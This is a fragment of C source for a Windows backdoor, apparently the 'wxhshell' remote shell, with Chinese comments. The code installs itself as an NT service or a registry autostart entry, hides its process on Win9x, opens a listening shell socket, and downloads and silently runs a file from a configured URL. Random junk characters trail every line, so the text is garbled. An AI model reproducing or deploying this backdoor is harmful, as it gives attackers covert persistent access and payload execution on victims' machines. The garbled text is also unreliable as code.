DWORD PebBaseAddress; mWZP.w^-
DWORD AffinityMask; 'i$._Tx
DWORD BasePriority; (/$-2.@
ULONG UniqueProcessId; Y _`JS;
ULONG InheritedFromUniqueProcessId; '|=Pw
} PROCESS_BASIC_INFORMATION; ?WXftzdf6u
S||W
PROCNTQSIP NtQueryInformationProcess; EGgw#JAi#t
'6vo#D9M
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^k7I+A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @4UX~=:686
A^FkU
HANDLE hProcess; hNh!H<}|m8
PROCESS_BASIC_INFORMATION pbi; D+:s{IcL<
/UK?&+1qE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \h3HaNC
if(NULL == hInst ) return 0; wi+Qlf
y}oA!<#3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g]Y%c73
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k%gj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TaSS) n
c&wg`1{Hal
if (!NtQueryInformationProcess) return 0; 4G I3|{
F%a&|X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D"aK;_W@h
if(!hProcess) return 0; Htr]_<@
s9"X.-!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .gfi9J
zZPWE"u}
CloseHandle(hProcess); }0\SNpVN
xdbzpU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '.z7)n
if(hProcess==NULL) return 0; 4vi?9MPz
%dnpO|L
HMODULE hMod; r
ezp7
char procName[255]; [;IE Z/ZX
unsigned long cbNeeded; L&s~j/pR
{1Cnrjw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c-JXWNz
mZB:j]T
CloseHandle(hProcess); 7"2BZ
)/DN>rU
if(strstr(procName,"services")) return 1; // 以服务启动 k0=!%f_G!
WqefH{PB
return 0; // 注册表启动 +o4o!;E)
} Wjq9f;
!m:WoQ/
// 主模块 ;"IWm<]h;-
int StartWxhshell(LPSTR lpCmdLine) Uv[a
~'
{ ($`IHKF1.l
SOCKET wsl; $+J39%Y!^
BOOL val=TRUE; /9kxDbj
int port=0; XdThl
struct sockaddr_in door; p}sM"}Ul
M887 Q'HSi
if(wscfg.ws_autoins) Install(); 1lIs
jBo g
RQWUO^&e^
port=atoi(lpCmdLine); O,),0zcYF
n:40T1:q
if(port<=0) port=wscfg.ws_port; 6_" n
\?v&JmEU
WSADATA data; qspGNu
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X\!q8KEpR&
A@|Z^T:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^_v94!a9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P=EZ6<c3&
door.sin_family = AF_INET; Gi-pi=#&cs
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ht+ro Y
door.sin_port = htons(port); R5QW4i9
2|\mBP`ok
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I`XOvSO
closesocket(wsl); -"ZNkC=
return 1; V^FM-bg%9
} 6{i0i9Tb
u,iiS4'Ze
if(listen(wsl,2) == INVALID_SOCKET) { "JmbYb#Z
closesocket(wsl); 037\LPO
return 1; s1]Pv/a=y
} z)KoK`\mE"
Wxhshell(wsl); h(nE)j
WSACleanup(); W20- oZ8
XOqHzft h6
return 0; >.P*lT
qU6!vgM&
} gmu.8
@ A8y!<
// 以NT服务方式启动 .T8^>z1/\F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,B;mG]_
{ n%;qIKnIq\
DWORD status = 0; o7+<sL
DWORD specificError = 0xfffffff; bS:$VyH6
h{-en50tN
serviceStatus.dwServiceType = SERVICE_WIN32; } %0w25
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *{5}m(5F
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `m1stK(PO
serviceStatus.dwWin32ExitCode = 0; {=I,+[(
serviceStatus.dwServiceSpecificExitCode = 0; RgFpc*.T
serviceStatus.dwCheckPoint = 0; "fNv(> -7s
serviceStatus.dwWaitHint = 0; jS3@Z?x?*
o/
\o-kC}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6flO;d/v
if (hServiceStatusHandle==0) return; Us "G X_
Ap\]v2G
status = GetLastError(); 3@eI? (N
if (status!=NO_ERROR) Kg2@]J9m
{ Vt zSM%=
serviceStatus.dwCurrentState = SERVICE_STOPPED; % O%;\t
serviceStatus.dwCheckPoint = 0; *]q`:~u2
serviceStatus.dwWaitHint = 0; oU3gy[wF;b
serviceStatus.dwWin32ExitCode = status; N0lFx?4
serviceStatus.dwServiceSpecificExitCode = specificError; `,pBOh|'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{yb4yQ
0
return; P/~dY[6m
} 5r8
["
G2[2y-Rv
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4ybOK~z
serviceStatus.dwCheckPoint = 0; HSG9|}$
serviceStatus.dwWaitHint = 0; #F
.8x@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wAR:GO'n
} .wm<l:
i-0AcN./p
// 处理NT服务事件,比如:启动、停止 T06w`'aL
VOID WINAPI NTServiceHandler(DWORD fdwControl) <5]_u:
{ Vx0Hq`_14
switch(fdwControl) -$s1k~o
{ L}8 }Pns?&
case SERVICE_CONTROL_STOP: [uie]*^
serviceStatus.dwWin32ExitCode = 0; j }^?Snq
serviceStatus.dwCurrentState = SERVICE_STOPPED; rf$[8d
serviceStatus.dwCheckPoint = 0; jkuNafp}
serviceStatus.dwWaitHint = 0; ) tV]h#4
{ $a\X(okx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &e[Lb:Uk)
} hhjsg?4uL
return; *X|%H-Q:H`
case SERVICE_CONTROL_PAUSE: .q]K:}9!\
serviceStatus.dwCurrentState = SERVICE_PAUSED; FGwgSrXL7
break; ,V4pFQzL
case SERVICE_CONTROL_CONTINUE: QKz2ONV=)
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q(8W5Fb?
break; c$A}mL_
case SERVICE_CONTROL_INTERROGATE: 6x;"T+BSSS
break; ?1]B(V9nBq
}; ,aWfGh#$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Grd9yLF
} =8r,-3lC;
OZObx
// 标准应用程序主函数 0Z%<H\Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S!}pL8OE
{ T?__
. 55aY~We
// 获取操作系统版本 Yic'p0<
?V
OsIsNt=GetOsVer(); -IV-"-6(
GetModuleFileName(NULL,ExeFile,MAX_PATH); a~tBg y+9
p-g@cwOu
// 从命令行安装 S;vZXgyN?
if(strpbrk(lpCmdLine,"iI")) Install(); kr1^`>O5
d7c m?+
// 下载执行文件 Z[j-.,Qu
if(wscfg.ws_downexe) { )>=|oY3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d<;XQ.Wo7
WinExec(wscfg.ws_filenam,SW_HIDE); iN`L* h
} ER$~kFE2yP
kS7T'[d
if(!OsIsNt) { }>j1j^c1='
// 如果时win9x,隐藏进程并且设置为注册表启动 ?~Vev D
HideProc(); Ug O \+cI
StartWxhshell(lpCmdLine); >yqL
} }% |GV
else R?%|RCht1
if(StartFromService()) 'Uo:b<
// 以服务方式启动 P#Ikj&l
StartServiceCtrlDispatcher(DispatchTable); s3T 6"%S`
else tQ?}x#J
// 普通方式启动 e''Wm.>g(+
StartWxhshell(lpCmdLine); ' :]w
!lB,2_
return 0; q%^gG03.
}